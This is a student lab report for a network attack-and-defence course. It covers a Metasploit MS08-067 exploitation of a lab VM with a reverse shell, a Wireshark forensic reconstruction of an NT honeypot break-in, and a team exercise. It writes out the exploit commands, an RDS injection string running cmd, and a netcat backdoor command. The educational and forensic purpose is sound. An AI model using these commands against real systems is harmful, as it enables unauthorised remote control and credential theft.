# 20251901 2024-2025-2 《网络攻防实践》实验六
目录
实践六 Windows操作系统安全攻防
实验要求:
(1)动手实践Metasploit windows attacker
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
(2)取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
(3)团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
一、实验任务
- 本次实验分为三个核心任务,具体如下:
- 动手实践Metasploit Windows Attacker:
使用Metasploit软件进行Windows远程渗透统计实验,通过攻击机(Kali)对靶机(Win2kServer)上的MS08-067漏洞进行远程渗透攻击,最终获取目标主机的访问权。 - 取证分析实践:解码一次成功的NT系统破解攻击:
针对来自212.116.251.162的攻击者攻陷蜜罐主机172.16.1.106(主机名lab.wiretrip.net)的事件,使用Wireshark分析攻击日志文件,完成以下分析:
① 攻击者使用的破解工具
② 攻击者利用该工具进入并控制系统的方法
③ 攻击者获得系统访问权限后的操作
④ 针对此类攻击的防御方法
⑤ 判断攻击者是否警觉目标为蜜罐主机及原因 - 对抗实践:Windows系统远程渗透攻击和分析:
分为攻方和守方两个角色,完成攻击与防守的对抗:
攻方:使用Metasploit选择合适漏洞(沿用MS08-067漏洞),配置相关参数发起攻击,获取靶机控制权,并记录攻击方信息、使用漏洞、相关IP地址等关键信息。
守方:使用Wireshark监听网络数据包,分析攻击全过程,提取攻击相关信息,还原攻击逻辑。
二、实验材料或资源
- Kali虚拟机
- Win2kServer虚拟机
- Wireshark抓包工具
- Metasploit
- snort-0204@0117.log(老师提供的攻击日志文件)
- 实验所需的其他网络攻防工具
三、知识点梳理
-
1. Metasploit Framework(MSF)
一款开源的渗透测试框架,集成了漏洞利用模块、载荷(Payload)、辅助工具等,可快速实现漏洞扫描、渗透攻击、权限提升等操作,是网络攻防中最常用的工具之一。核心组成包括:漏洞利用模块(Exploit)、载荷(Payload,攻击成功后在靶机上执行的代码)、编码器(避免载荷被杀毒软件检测)等。 -
2. MS08-067漏洞
微软Windows系统的一个严重远程代码执行漏洞,影响Windows 2000、Windows XP等多个系统版本。该漏洞存在于SMB协议(服务器消息块协议,用于文件共享、打印机共享等)的NetAPI32.dll组件中,攻击者可通过发送恶意构造的SMB请求,触发漏洞并执行任意代码,最终获取靶机控制权。
SMB协议是Windows系统的核心协议之一,默认使用445端口,MS08-067漏洞正是利用SMB协议的漏洞发起攻击,因此攻击流量主要集中在445端口。 -
3. 反向TCP Shell
本次实验使用的载荷类型,原理是让靶机主动连接攻击机的指定端口,建立TCP会话,攻击机通过该会话向靶机发送命令,实现远程控制。相比正向连接,反向连接更易绕过防火墙(防火墙通常允许内部主机主动向外连接)。 -
4. 网络取证分析
通过捕获、分析网络数据包,还原攻击过程、提取攻击证据的技术,核心工具为Wireshark。Wireshark可捕获网络中的所有数据包,通过筛选规则定位目标流量,分析数据包内容、协议交互过程,还原攻击者的操作轨迹。 -
5. Unicode漏洞
攻击者通过Unicode编码(如%C0%AF)绕过系统的路径过滤,访问系统敏感文件(如boot.ini,Windows系统的启动配置文件),是NT系统中常见的攻击手段之一。 -
6. msadcs.dll漏洞(RDS漏洞)
微软数据访问组件中的一个漏洞,攻击者可通过访问/msadc/msadcs.dll路径,构造恶意SQL语句,执行系统命令,获取系统访问权限。该漏洞常被Metasploit的msadc渗透模块利用。 -
7. SAM文件
Windows系统的安全账号管理文件,存储着用户的账号和密码哈希值,攻击者获取SAM文件后,可通过破解工具还原用户密码,进一步提升权限。 -
8. 后门程序(nc.exe)
netcat工具的Windows版本,被称为“网络瑞士军刀”,可实现端口监听、远程连接、文件传输等功能,攻击者植入nc.exe后,可随时重新连接靶机,长期控制目标系统。
四、实验思路
- 动手实践Metasploit Windows Attacker
本任务的核心目标是“利用MS08-067漏洞,通过Metasploit获取靶机访问权”,可按照“准备工作→工具操作→漏洞利用→验证结果”的步骤开展,思路如下:
首先必须确认两台机器的IP地址,并用ping命令测试连通性这一步的目的是确保攻击机与靶机之间网络通畅。在Kali中输入msfconsole命令,启动Metasploit框架,输入search ms08_067命令,查找该漏洞对应的利用模块。进入漏洞模块后,用show options查看攻击所需的参数(如靶机IP、攻击机IP、载荷等),用show payloads查看该漏洞支持的载荷类型。然后输入exploit命令,发起漏洞利用。攻击成功后,输入ipconfig/all命令,查看靶机的IP信息,确认已获取靶机的命令行访问权 - 取证分析实践
本任务的核心目标是“解码NT系统破解攻击的完整过程”,可按照“加载日志→筛选流量→分析异常→提取证据→总结防御”的步骤开展,思路如下:
用Wireshark打开老师提供的snort-0204@0117.log文件定位攻击双方——已知攻击机IP(213.116.251.162)和靶机IP(172.16.1.106),筛选数据包,查看异常内容,然后还原过程,分析攻击步骤并追踪操作。 - 对抗实践设计思路
攻方的核心是“利用已知漏洞,获取靶机控制权”,沿用前一个任务的MS08-067漏洞,步骤如下:1.启动Metasploit框架(msfconsole),加载MS08-067漏洞利用模块; 2. 设置反向TCP载荷,明确靶机IP(和攻击机IP;3. 发起攻击(exploit),攻击成功后,执行简单操作(如ipconfig、创建文件夹),留下操作痕迹;4.记录关键信息。
守方的核心是“通过Wireshark监听,还原攻击过程”,步骤如下:启动Wireshark,开始监听网络流量,当攻方发起攻击后,使用筛选规则(ip.addr == 攻击机IP && ip.addr == 靶机IP),定位攻击流量;分析流量特征;追踪TCP数据流;总结攻击信息。
五、实验详细过程
5.1动手实践Metasploit Windows Attacker
(1)准备工作
- 首先必须确认两台机器的IP地址,并用ping命令测试连通性。这一步的目的是确保攻击机与靶机之间网络通畅,否则后续攻击指令无法传递(根据“网络通信的基本原理”,只有互通的设备才能进行数据交互)。
![image]()
![image]()
![image]()
![image]()
(2)工具启动
- 打开Metasploit——在Kali中输入
msfconsole命令,启动Metasploit框架。之所以使用MSF,是因为它集成了MS08-067漏洞的利用模块,无需手动编写攻击代码。
![image]()
![image]()
(3)漏洞定位:查找MS08-067模块
- 查找MS08-067漏洞模块:输入
search ms08_067,查看漏洞详细信息:
![image]()
- 进入漏洞模块:输入
use 0(或use windows/smb/ms08_067_netapi),加载该漏洞的利用模块
![image]()
![image]()
![image]()
(4)模块配置:设置攻击参数
- 输入
show options,查看当前模块需要配置的参数。该命令会列出参数名称、是否必填、当前值等信息,例如RHOST(靶机IP)、LHOST(攻击机IP)等,提醒我们需要配置哪些参数才能发起攻击。我们使用此命令查看攻击该漏洞需要配置的参数
![image]()
- 输入
show payloads,查看当前漏洞模块支持的所有载荷。载荷是攻击成功后在靶机上执行的代码,不同载荷的功能不同(如反向连接、正向连接、创建用户等),本次选择反向TCP载荷,更易绕过防火墙。
![image]()
- 选择第四个载荷进行攻击:
输入命令set payload generic/shell_reverse_tcp设置载荷:设置攻击使用的载荷为反向TCP Shell。该载荷的作用是让靶机主动连接攻击机的指定端口,建立TCP会话,攻击机通过该会话发送命令,实现远程控制,适合防火墙环境下的攻击。 - 输入命令
set RHOST 192.168.188.4设置靶机、输入命令set LHOST 192.168.188.10设置攻击机。RHOST是“Remote Host”的缩写,即靶机的IP;LHOST是“Local Host”的缩写,即攻击机的IP。
![image]()
(5)发起攻击:执行exploit命令
- 输入
exploit,执行攻击。exploit:发起漏洞利用攻击的命令。执行该命令后,MSF会自动根据配置的参数,发送恶意SMB请求,触发MS08-067漏洞,执行设置的载荷,若攻击成功,会进入靶机的命令行界面。
![image]()
- 成功利用漏洞进入靶机
(6)验证结果:查看靶机信息
- 攻击成功后,输入ipconfig/all,查看靶机的IP信息,确认获取靶机访问权
![image]()
实验小结
本任务成功利用Metasploit框架,针对Win2kServer靶机的MS08-067漏洞发起远程渗透攻击,最终获取了靶机的访问权。实验过程中,网络连通性测试是前提,参数配置的准确性是攻击成功的关键(尤其是RHOST和LHOST的设置)。通过本任务,掌握了Metasploit的基本使用方法,理解了MS08-067漏洞的利用原理和反向TCP Shell的工作机制,明确了渗透攻击的基本流程——准备环境→定位漏洞→配置参数→发起攻击→验证结果。
5.2取证分析实践:解码一次成功的NT系统破解攻击
(1)攻击者使用了什么破解工具进行攻击
- 下载学习通中的snort-0204@0117.log文件,并将之导入kali中
![image]()
- 打开Wireshark,加载snort-0204@0117.log文件(将文件拖入wireshark中),该文件记录了攻击的全部网络数据包。
- 在Wireshark的筛选栏中输入
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106,筛选出攻击机(213.116.251.162)与靶机(172.16.1.106)之间的所有数据包
![image]()
- 分析异常数据包:观察筛选后的数据包,发现第104、117数据包中存在%C0%AF(Unicode编码),推测攻击者利用Unicode漏洞访问敏感文件
![image]()
![image]()
![image]()
- 识别攻击漏洞:查看第140数据包,info字段显示msadcs.dll,推测攻击者在访问该文件,结合知识点,判断利用了RDS漏洞
![image]()
- 第149数据包同样包含异常,右键选择“Follow→HTTP Stream”,分析数据流内容:
![image]()
![image]()
发现恶意SQL语句:“select from customers where city='|shell("cmd /c echo werd >> c:\fun")|driver={Microsoft Access driver (*.mdb)};dbp=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb;”和特征字符串:“!ADM!ROX!YOUR!WORLD!”,此为msadcs.dll中的rds漏洞,推断攻击工具为Metasploit的msadc.pl/msadc2.pl;
(2)攻击者如何使用这个破解工具进入并控制了系统
- 输入筛选规则
ip.addr == 213.116.251.162 && ftp,查看攻击者通过FTP下载的文件
![image]()
可以查询到有下载三个文件:nc.exe,pdump.exe,samdump.dll。其中pdump.exe和samdump.dll是配合使用破解口令的,使用samdump.dll拿到口令后再用pdump.exe进行破解,其中SAM文件是通过安全标识进行安全账号管理文件。nc.exe则是一个远程入侵的后门程序,便于下次攻击。 - 对 tcp.stream eq 106 的 TCP 数据流进行跟踪分析
![image]()
从数据流中可发现,攻击者通过构造的 ftpcom 脚本,连接远程 FTP 服务器 www.nether.net,使用用户名 johna2k、密码 haxedj00 完成登录认证,成功从服务器下载了:nc.exe(netcat 工具)、pdump.exe 与 samdump.dll(Windows 系统口令提取工具)三个恶意文件,为后续的权限提升、口令窃取操作提供了工具支撑。流量分析显示,直至数据包编号 1106,攻击者完成 FTP 登录并成功完成所有文件的下载。
(3)攻击者获得系统访问权限后做了什么
- 查看1233包:
![image]()
分析可得出攻击者执行了c nc -l -p 6969 -e cmd1.exe命令,连接了6969端口 - 根据攻击者执行的nc命令(nc -l -p 6969 -e cmd1.exe),输入筛选规则
tcp.port==6969,追踪TCP数据流,查看攻击者的操作
![image]()
![image]()
可以得出,攻击机进入靶机后查看了一些系统文件,然后创建会话写入文件yay.txt。
接下来是要创建了用户组等提升攻击机的访问权限,然后利用磁盘修复工具包中的rdisk工具创建SAM文件副本,然后尝试删除和拷贝SAM文件中的数据,即删除和拷贝har.txt文件,如下图所示:
![image]()
![image]()
![image]()
(4)防止此类攻击的方法
- 漏洞修复:及时更新 Windows 系统补丁,修补 MS08-067、RDS(msadcs.dll)、Unicode 等相关漏洞,从根源上杜绝攻击入口;
- 端口与服务管控:关闭不必要的端口(如 445、6969 端口)和服务(如 FTP、不必要的 SMB 服务),限制恶意连接;
- 工具与权限管理:禁止不明来源的可执行文件(如 nc.exe、pdump.exe)运行,加强 SAM 文件保护,设置复杂密码,避免弱密码;
- 网络监控:使用 Wireshark 等工具实时监听网络流量,及时发现异常数据包(如包含 % C0% AF 编码、msadcs.dll 访问痕迹的数据包),及时阻断攻击;
- 安全防护:安装防火墙、杀毒软件,开启实时防护,拦截恶意请求和后门程序,定期扫描系统漏洞和恶意文件。
(5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
- 攻击者发现了此目标为一台蜜罐主机,因为在TCP流中可以发现发现相关信息:
![image]()
![image]()
回答问题总结:
- 攻击者使用的破解工具
攻击者使用的是 Metasploit Framework 的 msadc.pl/msadc2.pl 渗透攻击工具,该工具针对 msadcs.dll(RDS 漏洞)发起攻击,是 NT 系统破解中常用的渗透工具。 - 攻击者利用该工具进入并控制系统的方法
攻击者先通过 Unicode 编码(% C0% AF)绕过系统路径过滤,访问靶机敏感文件(如 boot.ini),探测系统环境;
利用 msadc.pl/msadc2.pl 工具,访问靶机的 /msadc/msadcs.dll 路径,构造恶意 SQL 语句(如select from customers where city='|shell("cmd /c echo werd >> c:\fun")|driver={Microsoft Access driver (*.mdb)};dbp=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb),触发 RDS 漏洞,执行系统命令;
通过 FTP 协议下载 nc.exe(后门程序)、pdump.exe 和 samdump.dll(密码破解工具),利用 pdump.exe 和 samdump.dll 破解靶机 SAM 文件(存储用户账号密码哈希值),获取系统账号密码;
执行nc -l -p 6969 -e cmd1.exe命令,监听 6969 端口,将端口连接与 cmd 命令行绑定,建立远程控制会话,实现对靶机的长期控制。 - 攻击者获得系统访问权限后做的操作
查看靶机系统文件,了解系统配置和敏感信息;
创建会话文件 yay.txt,记录控制会话信息;
新建用户组,提升自身访问权限,巩固控制权;
利用磁盘修复工具 rdisk,创建 SAM 文件副本,拷贝并删除 SAM 相关数据(如 har.txt 文件),提取用户密码信息;
植入 nc.exe 后门程序,监听指定端口,便于后续再次连接控制靶机,长期潜伏。 - 防止此类攻击的方法
漏洞修复:及时更新 Windows 系统补丁,修补 MS08-067、RDS(msadcs.dll)、Unicode 等相关漏洞,从根源上杜绝攻击入口;
端口与服务管控:关闭不必要的端口(如 445、6969 端口)和服务(如 FTP、不必要的 SMB 服务),限制恶意连接;
工具与权限管理:禁止不明来源的可执行文件(如 nc.exe、pdump.exe)运行,加强 SAM 文件保护,设置复杂密码,避免弱密码;
网络监控:使用 Wireshark 等工具实时监听网络流量,及时发现异常数据包(如包含 % C0% AF 编码、msadcs.dll 访问痕迹的数据包),及时阻断攻击;
安全防护:安装防火墙、杀毒软件,开启实时防护,拦截恶意请求和后门程序,定期扫描系统漏洞和恶意文件。 - 攻击者是否警觉目标为蜜罐主机及原因
攻击者发现了此目标为一台蜜罐主机,因为在TCP流中可以发现发现相关信息(如上述具体流程中)。
实验小结
本任务通过Wireshark分析攻击日志,成功解码了NT系统破解攻击的完整过程,明确了攻击者使用的工具、攻击方法、后续操作,以及防御措施。实验过程中,Wireshark的筛选功能和数据流追踪功能是核心,通过筛选规则定位目标流量,通过追踪数据流提取攻击证据,逐步还原攻击过程。通过本任务,掌握了网络取证分析的基本方法,理解了Unicode漏洞、RDS漏洞的攻击原理,认识到后门程序、密码破解工具在攻击中的作用。同时也发现,攻击者的攻击过程具有明显的逻辑性——先利用漏洞获取权限,再下载工具巩固控制权,最后提取敏感信息,这为后续的防御工作提供了明确的方向。
5.3团队对抗实践:windows系统远程渗透攻击和分析
- 攻方:Kali 虚拟机(我),IP 地址 192.168.188.10,使用 MS08-067 漏洞发起攻击;开启 Wireshark 全流量监听。攻方复现渗透攻击流程,通过 Metasploit 加载 MS08-067 漏洞模块,配置靶机 IP 192.168.188.4、攻击机监听IP 192.168.188.10,选择反向 TCP Shell 载荷,执行 exploit 成功获取靶机控制权,在靶机中创建文件夹,完成攻击动作。
- 守方:Win2Kserver 虚拟机(其他同学),IP 地址 192.168.188.4,作为靶机。
- 首先在kali中打开Wireshark进行监听
- 在kali中按照上述思路输入如下命令:
msfconsole- 沿用 MS08-067 漏洞利用模块,完成攻击参数配置:
use windows/smb/ms08_067_netapi - 设置反向 TCP Shell 载荷:
set payload windows/shell_reverse_tcp - 设置靶机 IP:
set RHOSTS 192.168.188.4 - 设置攻击机 IP:
set LHOST 192.168.188.10 - 发起攻击:
exploit
![image]()
![image]()
![image]()
- 然后查看靶机IP:
ipconfig - 在靶机中新建文件夹:
md 20251901
![image]()
![image]()
- 然后我们在靶机中对应路径下可以找到新建立的文件夹。
![image]()
- 在Wireshark中,通过筛选规则
ip.addr == 192.168.188.4 and ip.addr == 192.168.188.10,定位攻击机与靶机的完整会话,核心攻击流量集中在 TCP 445 端口(SMB 协议)。
![image]()
TCP 连接建立阶段:捕获到攻击机向靶机 445 端口发起的 TCP 三次握手(SYN、SYN-ACK、ACK),完成 SMB 协议的传输层连接建立。SMB 漏洞利用阶段:捕获到 SMB 协议的协议协商、会话建立、树连接的完整交互过程,攻方通过 SMB 管道访问靶机 BROWSER 服务,随后发送畸形的 SMB NetAPI 请求,触发 MS08-067 缓冲区溢出漏洞。 - TCP 445端口:SMB协议的默认端口,MS08-067漏洞正是利用SMB协议的漏洞发起攻击,因此攻击流量主要集中在该端口,守方可重点关注该端口的异常数据包(如恶意请求、异常响应)。
- TCP 4444端口:反向TCP Shell的默认端口,靶机攻击成功后,会向攻击机的4444端口发起回连,建立TCP会话,这是反向载荷触发的核心特征,守方可通过该端口的数据包,确认攻击已成功。
- 捕获到靶机向攻击机的 4444 端口发起的 TCP 回连,这是反向载荷触发的核心特征;后续数据包中包含 ipconfig、mkdir 等命令的明文交互内容,完整还原了攻方的后续操作。
![image]()
实验小结
本任务成功完成了Windows系统远程渗透攻击与防守的对抗实践,攻方利用MS08-067漏洞获取了靶机控制权,守方通过Wireshark监听,成功还原了攻击全过程。实验过程中,攻方的核心是准确配置攻击参数,确保攻击成功并留下操作痕迹;守方的核心是熟练使用Wireshark的筛选和数据流追踪功能,识别攻击特征,提取攻击证据。
六、实验过程中遇到的问题及解决
- 1.kali虚拟机 ping Win2kServer虚拟机时连接不上
- 报错:
![image]()
使用iptables -F清空规则仍没有效果:
![image]()
- 问题解决:
后来发现Ping不通的原因是,这两个虚拟机不在一个网段。一个在VMent1,一个在VMent8于是将两个虚拟机的网络适配器都设置为VMent8模式:
![image]()
从而就能ping通了:
![image]()
这里要注意,因为修改了Win2kServer虚拟机的网络适配器,所以其IP地址已经改变了。后续在ping的时候要重新查看一下Win2kServer虚拟机的IP地址。
七、学习收获及感想
- 通过本次网络攻防实践,我不仅掌握了网络攻防的基本技能和相关知识点,更深刻体会到了网络攻防的魅力和严谨性,也收获了很多宝贵的经验和感悟。
- 首先,通过本次实践,我收获颇丰,不仅掌握了Metasploit、Wireshark等核心工具的使用方法,理解了MS08-067漏洞、Unicode漏洞、RDS漏洞的攻击原理,还明确了反向TCP Shell、后门程序、密码破解工具在攻击中的作用,以及网络取证分析的基本思路和防御方法。
- 其次,我明白了理论与实践相结合是掌握知识的关键。在实验之前,我对Metasploit、Wireshark等工具,以及各类漏洞的原理只有初步的了解,通过亲手操作,将理论知识应用到实践中,不仅加深了对知识点的理解,还掌握了工具的使用方法,明白了每一个命令、每一个操作背后的原理。例如,在使用Metasploit配置载荷时,通过实践,我才真正理解了反向TCP Shell的工作机制,以及为什么它能绕过防火墙。
- 通过本次实践,我的动手能力和解决问题的能力也有了很大提高。在实验的过程中,会遇到各种各样的问题,通过查阅资料、请教老师同学、反复尝试,我逐渐学会了如何分析问题、解决问题。例如,在取证分析时,我无法确定攻击者使用的工具,通过查阅相关资料,了解到msadcs.dll漏洞的攻击特征,结合数据包中的特征字符串,最终确定了攻击工具。这让我明白,在网络攻防领域,遇到问题是常态,关键是要具备解决问题的能力,不断学习、不断积累,才能提升自身的水平。












































浙公网安备 33010602011771号